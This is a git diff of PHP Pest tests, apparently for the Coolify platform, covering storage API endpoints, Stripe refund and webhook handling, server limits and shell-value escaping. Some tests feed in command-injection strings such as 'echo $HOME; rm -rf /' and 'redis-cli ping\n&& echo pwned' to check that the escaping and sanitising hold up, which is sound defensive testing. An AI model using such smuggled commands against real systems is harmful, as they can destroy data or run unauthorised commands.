+ $response->assertJsonCount(0, 'file_storages');
+ });
+
+ test('returns 404 for non-existent application', function () {
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->getJson('/api/v1/applications/non-existent-uuid/storages');
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('POST /api/v1/applications/{uuid}/storages', function () {
+ test('creates a persistent storage', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'persistent',
+ 'name' => 'my-volume',
+ 'mount_path' => '/data',
+ ]);
+
+ $response->assertStatus(201);
+
+ $vol = LocalPersistentVolume::where('resource_id', $app->id)
+ ->where('resource_type', $app->getMorphClass())
+ ->first();
+
+ expect($vol)->not->toBeNull();
+ expect($vol->name)->toBe($app->uuid.'-my-volume');
+ expect($vol->mount_path)->toBe('/data');
+ expect($vol->uuid)->not->toBeNull();
+ });
+
+ test('creates a file storage', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'file',
+ 'mount_path' => '/app/config.json',
+ 'content' => '{"key": "value"}',
+ ]);
+
+ $response->assertStatus(201);
+
+ $vol = LocalFileVolume::where('resource_id', $app->id)
+ ->where('resource_type', get_class($app))
+ ->first();
+
+ expect($vol)->not->toBeNull();
+ expect($vol->mount_path)->toBe('/app/config.json');
+ expect($vol->is_directory)->toBeFalse();
+ });
+
+ test('rejects persistent storage without name', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'persistent',
+ 'mount_path' => '/data',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects invalid type-specific fields', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'persistent',
+ 'name' => 'vol',
+ 'mount_path' => '/data',
+ 'content' => 'should not be here',
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
+
+describe('PATCH /api/v1/applications/{uuid}/storages', function () {
+ test('updates a persistent storage by uuid', function () {
+ $app = createTestApplication($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $app->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $app->id,
+ 'resource_type' => $app->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'uuid' => $vol->uuid,
+ 'type' => 'persistent',
+ 'mount_path' => '/new-data',
+ ]);
+
+ $response->assertStatus(200);
+ expect($vol->fresh()->mount_path)->toBe('/new-data');
+ });
+
+ test('updates a persistent storage by id (backwards compat)', function () {
+ $app = createTestApplication($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $app->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $app->id,
+ 'resource_type' => $app->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'id' => $vol->id,
+ 'type' => 'persistent',
+ 'mount_path' => '/updated',
+ ]);
+
+ $response->assertStatus(200);
+ expect($vol->fresh()->mount_path)->toBe('/updated');
+ });
+
+ test('returns 422 when neither uuid nor id is provided', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/applications/{$app->uuid}/storages", [
+ 'type' => 'persistent',
+ 'mount_path' => '/data',
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
+
+describe('DELETE /api/v1/applications/{uuid}/storages/{storage_uuid}', function () {
+ test('deletes a persistent storage', function () {
+ $app = createTestApplication($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $app->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $app->id,
+ 'resource_type' => $app->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->deleteJson("/api/v1/applications/{$app->uuid}/storages/{$vol->uuid}");
+
+ $response->assertStatus(200);
+ $response->assertJson(['message' => 'Storage deleted.']);
+ expect(LocalPersistentVolume::find($vol->id))->toBeNull();
+ });
+
+ test('finds file storage without type param and calls deleteStorageOnServer', function () {
+ $app = createTestApplication($this);
+
+ $vol = LocalFileVolume::create([
+ 'fs_path' => '/tmp/test',
+ 'mount_path' => '/app/config.json',
+ 'content' => '{}',
+ 'is_directory' => false,
+ 'resource_id' => $app->id,
+ 'resource_type' => get_class($app),
+ ]);
+
+ // Verify the storage is found via fileStorages (not persistentStorages)
+ $freshApp = Application::find($app->id);
+ expect($freshApp->persistentStorages->where('uuid', $vol->uuid)->first())->toBeNull();
+ expect($freshApp->fileStorages->where('uuid', $vol->uuid)->first())->not->toBeNull();
+ expect($vol)->toBeInstanceOf(LocalFileVolume::class);
+ });
+
+ test('returns 404 for non-existent storage', function () {
+ $app = createTestApplication($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->deleteJson("/api/v1/applications/{$app->uuid}/storages/non-existent");
+
+ $response->assertStatus(404);
+ });
+});
+
+// ──────────────────────────────────────────────────────────────
+// Database Storage Endpoints
+// ──────────────────────────────────────────────────────────────
+
+describe('GET /api/v1/databases/{uuid}/storages', function () {
+ test('lists storages for a database', function () {
+ $db = createTestDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->getJson("/api/v1/databases/{$db->uuid}/storages");
+
+ $response->assertStatus(200);
+ $response->assertJsonStructure(['persistent_storages', 'file_storages']);
+ // Database auto-creates a default persistent volume
+ $response->assertJsonCount(1, 'persistent_storages');
+ });
+
+ test('returns 404 for non-existent database', function () {
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->getJson('/api/v1/databases/non-existent-uuid/storages');
+
+ $response->assertStatus(404);
+ });
+});
+
+describe('POST /api/v1/databases/{uuid}/storages', function () {
+ test('creates a persistent storage for a database', function () {
+ $db = createTestDatabase($this);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson("/api/v1/databases/{$db->uuid}/storages", [
+ 'type' => 'persistent',
+ 'name' => 'extra-data',
+ 'mount_path' => '/extra',
+ ]);
+
+ $response->assertStatus(201);
+
+ $vol = LocalPersistentVolume::where('name', $db->uuid.'-extra-data')->first();
+ expect($vol)->not->toBeNull();
+ expect($vol->mount_path)->toBe('/extra');
+ });
+});
+
+describe('PATCH /api/v1/databases/{uuid}/storages', function () {
+ test('updates a persistent storage by uuid', function () {
+ $db = createTestDatabase($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $db->uuid.'-test-vol',
+ 'mount_path' => '/data',
+ 'resource_id' => $db->id,
+ 'resource_type' => $db->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ 'Content-Type' => 'application/json',
+ ])->patchJson("/api/v1/databases/{$db->uuid}/storages", [
+ 'uuid' => $vol->uuid,
+ 'type' => 'persistent',
+ 'mount_path' => '/updated',
+ ]);
+
+ $response->assertStatus(200);
+ expect($vol->fresh()->mount_path)->toBe('/updated');
+ });
+});
+
+describe('DELETE /api/v1/databases/{uuid}/storages/{storage_uuid}', function () {
+ test('deletes a persistent storage', function () {
+ $db = createTestDatabase($this);
+
+ $vol = LocalPersistentVolume::create([
+ 'name' => $db->uuid.'-test-vol',
+ 'mount_path' => '/extra',
+ 'resource_id' => $db->id,
+ 'resource_type' => $db->getMorphClass(),
+ ]);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$this->bearerToken,
+ ])->deleteJson("/api/v1/databases/{$db->uuid}/storages/{$vol->uuid}");
+
+ $response->assertStatus(200);
+ expect(LocalPersistentVolume::find($vol->id))->toBeNull();
+ });
+});
diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php
index b6c2d4064..6f67fca2b 100644
--- a/tests/Feature/Subscription/RefundSubscriptionTest.php
+++ b/tests/Feature/Subscription/RefundSubscriptionTest.php
@@ -43,9 +43,11 @@
describe('checkEligibility', function () {
test('returns eligible when subscription is within 30 days', function () {
+ $periodEnd = now()->addDays(20)->timestamp;
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(10)->timestamp,
+ 'current_period_end' => $periodEnd,
];
$this->mockSubscriptions
@@ -58,12 +60,15 @@
expect($result['eligible'])->toBeTrue();
expect($result['days_remaining'])->toBe(20);
+ expect($result['current_period_end'])->toBe($periodEnd);
});
test('returns ineligible when subscription is past 30 days', function () {
+ $periodEnd = now()->addDays(25)->timestamp;
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(35)->timestamp,
+ 'current_period_end' => $periodEnd,
];
$this->mockSubscriptions
@@ -77,12 +82,15 @@
expect($result['eligible'])->toBeFalse();
expect($result['days_remaining'])->toBe(0);
expect($result['reason'])->toContain('30-day refund window has expired');
+ expect($result['current_period_end'])->toBe($periodEnd);
});
test('returns ineligible when subscription is not active', function () {
+ $periodEnd = now()->addDays(25)->timestamp;
$stripeSubscription = (object) [
'status' => 'canceled',
'start_date' => now()->subDays(5)->timestamp,
+ 'current_period_end' => $periodEnd,
];
$this->mockSubscriptions
@@ -94,6 +102,7 @@
$result = $action->checkEligibility($this->team);
expect($result['eligible'])->toBeFalse();
+ expect($result['current_period_end'])->toBe($periodEnd);
});
test('returns ineligible when no subscription exists', function () {
@@ -104,6 +113,7 @@
expect($result['eligible'])->toBeFalse();
expect($result['reason'])->toContain('No active subscription');
+ expect($result['current_period_end'])->toBeNull();
});
test('returns ineligible when invoice is not paid', function () {
@@ -114,6 +124,7 @@
expect($result['eligible'])->toBeFalse();
expect($result['reason'])->toContain('not paid');
+ expect($result['current_period_end'])->toBeNull();
});
test('returns ineligible when team has already been refunded', function () {
@@ -145,6 +156,7 @@
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(10)->timestamp,
+ 'current_period_end' => now()->addDays(20)->timestamp,
];
$this->mockSubscriptions
@@ -205,6 +217,7 @@
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(10)->timestamp,
+ 'current_period_end' => now()->addDays(20)->timestamp,
];
$this->mockSubscriptions
@@ -229,6 +242,7 @@
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(10)->timestamp,
+ 'current_period_end' => now()->addDays(20)->timestamp,
];
$this->mockSubscriptions
@@ -251,10 +265,61 @@
expect($result['error'])->toContain('No payment intent');
});
+ test('records refund and proceeds when cancel fails', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(10)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $invoiceCollection = (object) ['data' => [
+ (object) ['payment_intent' => 'pi_test_123'],
+ ]];
+
+ $this->mockInvoices
+ ->shouldReceive('all')
+ ->with([
+ 'subscription' => 'sub_test_123',
+ 'status' => 'paid',
+ 'limit' => 1,
+ ])
+ ->andReturn($invoiceCollection);
+
+ $this->mockRefunds
+ ->shouldReceive('create')
+ ->with(['payment_intent' => 'pi_test_123'])
+ ->andReturn((object) ['id' => 're_test_123']);
+
+ // Cancel throws — simulating Stripe failure after refund
+ $this->mockSubscriptions
+ ->shouldReceive('cancel')
+ ->with('sub_test_123')
+ ->andThrow(new \Exception('Stripe cancel API error'));
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ // Should still succeed — refund went through
+ expect($result['success'])->toBeTrue();
+ expect($result['error'])->toBeNull();
+
+ $this->subscription->refresh();
+ // Refund timestamp must be recorded
+ expect($this->subscription->stripe_refunded_at)->not->toBeNull();
+ // Subscription should still be marked as ended locally
+ expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
+ expect($this->subscription->stripe_subscription_id)->toBeNull();
+ });
+
test('fails when subscription is past refund window', function () {
$stripeSubscription = (object) [
'status' => 'active',
'start_date' => now()->subDays(35)->timestamp,
+ 'current_period_end' => now()->addDays(25)->timestamp,
];
$this->mockSubscriptions
diff --git a/tests/Feature/Subscription/StripeProcessJobTest.php b/tests/Feature/Subscription/StripeProcessJobTest.php
new file mode 100644
index 000000000..0a93f858c
--- /dev/null
+++ b/tests/Feature/Subscription/StripeProcessJobTest.php
@@ -0,0 +1,230 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+ config()->set('subscription.stripe_excluded_plans', '');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+});
+
+describe('customer.subscription.created does not fall through to updated', function () {
+ test('created event creates subscription without setting stripe_invoice_paid to true', function () {
+ Queue::fake();
+
+ $event = [
+ 'type' => 'customer.subscription.created',
+ 'data' => [
+ 'object' => [
+ 'customer' => 'cus_new_123',
+ 'id' => 'sub_new_123',
+ 'metadata' => [
+ 'team_id' => $this->team->id,
+ 'user_id' => $this->user->id,
+ ],
+ ],
+ ],
+ ];
+
+ $job = new StripeProcessJob($event);
+ $job->handle();
+
+ $subscription = Subscription::where('team_id', $this->team->id)->first();
+
+ expect($subscription)->not->toBeNull();
+ expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
+ expect($subscription->stripe_customer_id)->toBe('cus_new_123');
+ // Critical: stripe_invoice_paid must remain false — payment not yet confirmed
+ expect($subscription->stripe_invoice_paid)->toBeFalsy();
+ });
+
+ test('created event updates existing subscription instead of duplicating', function () {
+ Queue::fake();
+
+ Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_old',
+ 'stripe_customer_id' => 'cus_old',
+ 'stripe_invoice_paid' => true,
+ ]);
+
+ $event = [
+ 'type' => 'customer.subscription.created',
+ 'data' => [
+ 'object' => [
+ 'customer' => 'cus_new_123',
+ 'id' => 'sub_new_123',
+ 'metadata' => [
+ 'team_id' => $this->team->id,
+ 'user_id' => $this->user->id,
+ ],
+ ],
+ ],
+ ];
+
+ $job = new StripeProcessJob($event);
+ $job->handle();
+
+ expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
+ $subscription = Subscription::where('team_id', $this->team->id)->first();
+ expect($subscription->stripe_subscription_id)->toBe('sub_new_123');
+ expect($subscription->stripe_customer_id)->toBe('cus_new_123');
+ });
+});
+
+describe('checkout.session.completed', function () {
+ test('creates subscription for new team', function () {
+ Queue::fake();
+
+ $event = [
+ 'type' => 'checkout.session.completed',
+ 'data' => [
+ 'object' => [
+ 'client_reference_id' => $this->user->id.':'.$this->team->id,
+ 'subscription' => 'sub_checkout_123',
+ 'customer' => 'cus_checkout_123',
+ ],
+ ],
+ ];
+
+ $job = new StripeProcessJob($event);
+ $job->handle();
+
+ $subscription = Subscription::where('team_id', $this->team->id)->first();
+ expect($subscription)->not->toBeNull();
+ expect($subscription->stripe_invoice_paid)->toBeTruthy();
+ });
+
+ test('updates existing subscription instead of duplicating', function () {
+ Queue::fake();
+
+ Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_old',
+ 'stripe_customer_id' => 'cus_old',
+ 'stripe_invoice_paid' => false,
+ ]);
+
+ $event = [
+ 'type' => 'checkout.session.completed',
+ 'data' => [
+ 'object' => [
+ 'client_reference_id' => $this->user->id.':'.$this->team->id,
+ 'subscription' => 'sub_checkout_new',
+ 'customer' => 'cus_checkout_new',
+ ],
+ ],
+ ];
+
+ $job = new StripeProcessJob($event);
+ $job->handle();
+
+ expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1);
+ $subscription = Subscription::where('team_id', $this->team->id)->first();
+ expect($subscription->stripe_subscription_id)->toBe('sub_checkout_new');
+ expect($subscription->stripe_invoice_paid)->toBeTruthy();
+ });
+});
+
+describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () {
+ test('quantity exceeding MAX is clamped to 100', function () {
+ Queue::fake();
+
+ Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_existing',
+ 'stripe_customer_id' => 'cus_clamp_test',
+ 'stripe_invoice_paid' => true,
+ ]);
+
+ $event = [
+ 'type' => 'customer.subscription.updated',
+ 'data' => [
+ 'object' => [
+ 'customer' => 'cus_clamp_test',
+ 'id' => 'sub_existing',
+ 'status' => 'active',
+ 'metadata' => [
+ 'team_id' => $this->team->id,
+ 'user_id' => $this->user->id,
+ ],
+ 'items' => [
+ 'data' => [[
+ 'subscription' => 'sub_existing',
+ 'plan' => ['id' => 'price_dynamic_monthly'],
+ 'price' => ['lookup_key' => 'dynamic_monthly'],
+ 'quantity' => 999,
+ ]],
+ ],
+ 'cancel_at_period_end' => false,
+ 'cancellation_details' => ['feedback' => null, 'comment' => null],
+ ],
+ ],
+ ];
+
+ $job = new StripeProcessJob($event);
+ $job->handle();
+
+ $this->team->refresh();
+ expect($this->team->custom_server_limit)->toBe(100);
+
+ Queue::assertPushed(ServerLimitCheckJob::class);
+ });
+});
+
+describe('ServerLimitCheckJob dispatch is guarded by team check', function () {
+ test('does not dispatch ServerLimitCheckJob when team is null', function () {
+ Queue::fake();
+
+ // Create subscription without a valid team relationship
+ $subscription = Subscription::create([
+ 'team_id' => 99999,
+ 'stripe_subscription_id' => 'sub_orphan',
+ 'stripe_customer_id' => 'cus_orphan_test',
+ 'stripe_invoice_paid' => true,
+ ]);
+
+ $event = [
+ 'type' => 'customer.subscription.updated',
+ 'data' => [
+ 'object' => [
+ 'customer' => 'cus_orphan_test',
+ 'id' => 'sub_orphan',
+ 'status' => 'active',
+ 'metadata' => [
+ 'team_id' => null,
+ 'user_id' => null,
+ ],
+ 'items' => [
+ 'data' => [[
+ 'subscription' => 'sub_orphan',
+ 'plan' => ['id' => 'price_dynamic_monthly'],
+ 'price' => ['lookup_key' => 'dynamic_monthly'],
+ 'quantity' => 5,
+ ]],
+ ],
+ 'cancel_at_period_end' => false,
+ 'cancellation_details' => ['feedback' => null, 'comment' => null],
+ ],
+ ],
+ ];
+
+ $job = new StripeProcessJob($event);
+ $job->handle();
+
+ Queue::assertNotPushed(ServerLimitCheckJob::class);
+ });
+});
diff --git a/tests/Feature/Subscription/TeamSubscriptionEndedTest.php b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php
new file mode 100644
index 000000000..55d59e0e6
--- /dev/null
+++ b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php
@@ -0,0 +1,16 @@
+create();
+
+ // Should return early without error — no NPE
+ $team->subscriptionEnded();
+
+ // If we reach here, no exception was thrown
+ expect(true)->toBeTrue();
+});
diff --git a/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php
new file mode 100644
index 000000000..be8661b6c
--- /dev/null
+++ b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php
@@ -0,0 +1,102 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->subscription = Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_verify_123',
+ 'stripe_customer_id' => 'cus_verify_123',
+ 'stripe_invoice_paid' => true,
+ 'stripe_past_due' => false,
+ ]);
+});
+
+test('subscriptionEnded is called for unpaid status', function () {
+ $mockStripe = Mockery::mock(StripeClient::class);
+ $mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $mockStripe->subscriptions = $mockSubscriptions;
+
+ $mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_verify_123')
+ ->andReturn((object) [
+ 'status' => 'unpaid',
+ 'cancel_at_period_end' => false,
+ ]);
+
+ app()->bind(StripeClient::class, fn () => $mockStripe);
+
+ // Create a server to verify it gets disabled
+ $server = Server::factory()->create(['team_id' => $this->team->id]);
+
+ $job = new VerifyStripeSubscriptionStatusJob($this->subscription);
+ $job->handle();
+
+ $this->subscription->refresh();
+ expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
+ expect($this->subscription->stripe_subscription_id)->toBeNull();
+});
+
+test('subscriptionEnded is called for incomplete_expired status', function () {
+ $mockStripe = Mockery::mock(StripeClient::class);
+ $mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $mockStripe->subscriptions = $mockSubscriptions;
+
+ $mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_verify_123')
+ ->andReturn((object) [
+ 'status' => 'incomplete_expired',
+ 'cancel_at_period_end' => false,
+ ]);
+
+ app()->bind(StripeClient::class, fn () => $mockStripe);
+
+ $job = new VerifyStripeSubscriptionStatusJob($this->subscription);
+ $job->handle();
+
+ $this->subscription->refresh();
+ expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
+ expect($this->subscription->stripe_subscription_id)->toBeNull();
+});
+
+test('subscriptionEnded is called for canceled status', function () {
+ $mockStripe = Mockery::mock(StripeClient::class);
+ $mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $mockStripe->subscriptions = $mockSubscriptions;
+
+ $mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_verify_123')
+ ->andReturn((object) [
+ 'status' => 'canceled',
+ 'cancel_at_period_end' => false,
+ ]);
+
+ app()->bind(StripeClient::class, fn () => $mockStripe);
+
+ $job = new VerifyStripeSubscriptionStatusJob($this->subscription);
+ $job->handle();
+
+ $this->subscription->refresh();
+ expect($this->subscription->stripe_invoice_paid)->toBeFalsy();
+ expect($this->subscription->stripe_subscription_id)->toBeNull();
+});
diff --git a/tests/Feature/TeamServerLimitTest.php b/tests/Feature/TeamServerLimitTest.php
new file mode 100644
index 000000000..11d7f09d1
--- /dev/null
+++ b/tests/Feature/TeamServerLimitTest.php
@@ -0,0 +1,53 @@
+set('constants.coolify.self_hosted', true);
+});
+
+it('returns server limit when team is passed directly without session', function () {
+ $team = Team::factory()->create();
+
+ $limit = Team::serverLimit($team);
+
+ // self_hosted returns 999999999999
+ expect($limit)->toBe(999999999999);
+});
+
+it('returns 0 when no team is provided and no session exists', function () {
+ $limit = Team::serverLimit();
+
+ expect($limit)->toBe(0);
+});
+
+it('returns true for serverLimitReached when no team and no session', function () {
+ $result = Team::serverLimitReached();
+
+ expect($result)->toBeTrue();
+});
+
+it('returns false for serverLimitReached when team has servers under limit', function () {
+ $team = Team::factory()->create();
+ Server::factory()->create(['team_id' => $team->id]);
+
+ $result = Team::serverLimitReached($team);
+
+ // self_hosted has very high limit, 1 server is well under
+ expect($result)->toBeFalse();
+});
+
+it('returns true for serverLimitReached when team has servers at limit', function () {
+ config()->set('constants.coolify.self_hosted', false);
+
+ $team = Team::factory()->create(['custom_server_limit' => 1]);
+ Server::factory()->create(['team_id' => $team->id]);
+
+ $result = Team::serverLimitReached($team);
+
+ expect($result)->toBeTrue();
+});
diff --git a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php
index c2a8d46fa..4c7ec9d9d 100644
--- a/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php
+++ b/tests/Unit/ApplicationDeploymentNixpacksNullEnvTest.php
@@ -88,11 +88,11 @@
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
- // Verify that only valid environment variables are included
- expect($envArgs)->toContain('--env VALID_VAR=valid_value');
- expect($envArgs)->toContain('--env ANOTHER_VALID_VAR=another_value');
- expect($envArgs)->toContain('--env COOLIFY_FQDN=example.com');
- expect($envArgs)->toContain('--env SOURCE_COMMIT=abc123');
+ // Verify that only valid environment variables are included (values are now single-quote escaped)
+ expect($envArgs)->toContain("--env 'VALID_VAR=valid_value'");
+ expect($envArgs)->toContain("--env 'ANOTHER_VALID_VAR=another_value'");
+ expect($envArgs)->toContain("--env 'COOLIFY_FQDN=example.com'");
+ expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'");
// Verify that null and empty environment variables are filtered out
expect($envArgs)->not->toContain('NULL_VAR');
@@ -102,7 +102,7 @@
// Verify no environment variables end with just '=' (which indicates null/empty value)
expect($envArgs)->not->toMatch('/--env [A-Z_]+=$/');
- expect($envArgs)->not->toMatch('/--env [A-Z_]+= /');
+ expect($envArgs)->not->toMatch("/--env '[A-Z_]+='$/");
});
it('filters out null environment variables from nixpacks preview deployments', function () {
@@ -164,9 +164,9 @@
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
- // Verify that only valid environment variables are included
- expect($envArgs)->toContain('--env PREVIEW_VAR=preview_value');
- expect($envArgs)->toContain('--env COOLIFY_FQDN=preview.example.com');
+ // Verify that only valid environment variables are included (values are now single-quote escaped)
+ expect($envArgs)->toContain("--env 'PREVIEW_VAR=preview_value'");
+ expect($envArgs)->toContain("--env 'COOLIFY_FQDN=preview.example.com'");
// Verify that null environment variables are filtered out
expect($envArgs)->not->toContain('NULL_PREVIEW_VAR');
@@ -335,7 +335,7 @@
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
- // Verify that zero and false string values are preserved
- expect($envArgs)->toContain('--env ZERO_VALUE=0');
- expect($envArgs)->toContain('--env FALSE_VALUE=false');
+ // Verify that zero and false string values are preserved (values are now single-quote escaped)
+ expect($envArgs)->toContain("--env 'ZERO_VALUE=0'");
+ expect($envArgs)->toContain("--env 'FALSE_VALUE=false'");
});
diff --git a/tests/Unit/EscapeShellValueTest.php b/tests/Unit/EscapeShellValueTest.php
new file mode 100644
index 000000000..eed25e164
--- /dev/null
+++ b/tests/Unit/EscapeShellValueTest.php
@@ -0,0 +1,57 @@
+toBe("'hello'");
+});
+
+it('escapes single quotes in the value', function () {
+ expect(escapeShellValue("it's"))->toBe("'it'\\''s'");
+});
+
+it('handles empty string', function () {
+ expect(escapeShellValue(''))->toBe("''");
+});
+
+it('preserves && in a single-quoted value', function () {
+ $result = escapeShellValue('npx prisma generate && npm run build');
+ expect($result)->toBe("'npx prisma generate && npm run build'");
+});
+
+it('preserves special shell characters in value', function () {
+ $result = escapeShellValue('echo $HOME; rm -rf /');
+ expect($result)->toBe("'echo \$HOME; rm -rf /'");
+});
+
+it('handles value with double quotes', function () {
+ $result = escapeShellValue('say "hello"');
+ expect($result)->toBe("'say \"hello\"'");
+});
+
+it('produces correct output when passed through executeInDocker', function () {
+ // Simulate the exact issue from GitHub #9042:
+ // NIXPACKS_BUILD_CMD with chained && commands
+ $envValue = 'npx prisma generate && npx prisma db push && npm run build';
+ $escapedEnv = '--env '.escapeShellValue("NIXPACKS_BUILD_CMD={$envValue}");
+
+ $command = "nixpacks plan -f json {$escapedEnv} /app";
+ $dockerCmd = executeInDocker('test-container', $command);
+
+ // The && must NOT appear unquoted at the bash -c level
+ // The full docker command should properly nest the quoting
+ expect($dockerCmd)->toContain('NIXPACKS_BUILD_CMD=npx prisma generate && npx prisma db push && npm run build');
+ // Verify it's wrapped in docker exec bash -c
+ expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
+ expect($dockerCmd)->toEndWith("'");
+});
+
+it('produces correct output for build-cmd with chained commands through executeInDocker', function () {
+ $buildCmd = 'npx prisma generate && npm run build';
+ $escapedCmd = escapeShellValue($buildCmd);
+
+ $command = "nixpacks plan -f json --build-cmd {$escapedCmd} /app";
+ $dockerCmd = executeInDocker('test-container', $command);
+
+ // The build command value must remain intact inside the quoting
+ expect($dockerCmd)->toContain('npx prisma generate && npm run build');
+ expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
+});
diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php
index 534be700a..88361c3d9 100644
--- a/tests/Unit/HealthCheckCommandInjectionTest.php
+++ b/tests/Unit/HealthCheckCommandInjectionTest.php
@@ -5,6 +5,9 @@
use App\Models\ApplicationDeploymentQueue;
use App\Models\ApplicationSetting;
use Illuminate\Support\Facades\Validator;
+use Tests\TestCase;
+
+uses(TestCase::class);
beforeEach(function () {
Mockery::close();
@@ -176,11 +179,11 @@
it('strips newlines from CMD healthcheck command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
- 'health_check_command' => "redis-cli ping\n&& echo pwned",
+ 'health_check_command' => "redis-cli\nping",
]);
expect($result)->not->toContain("\n")
- ->and($result)->toBe('redis-cli ping && echo pwned');
+ ->and($result)->toBe('redis-cli ping');
});
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
@@ -193,6 +196,68 @@
expect($result)->toContain('curl -s -X');
});
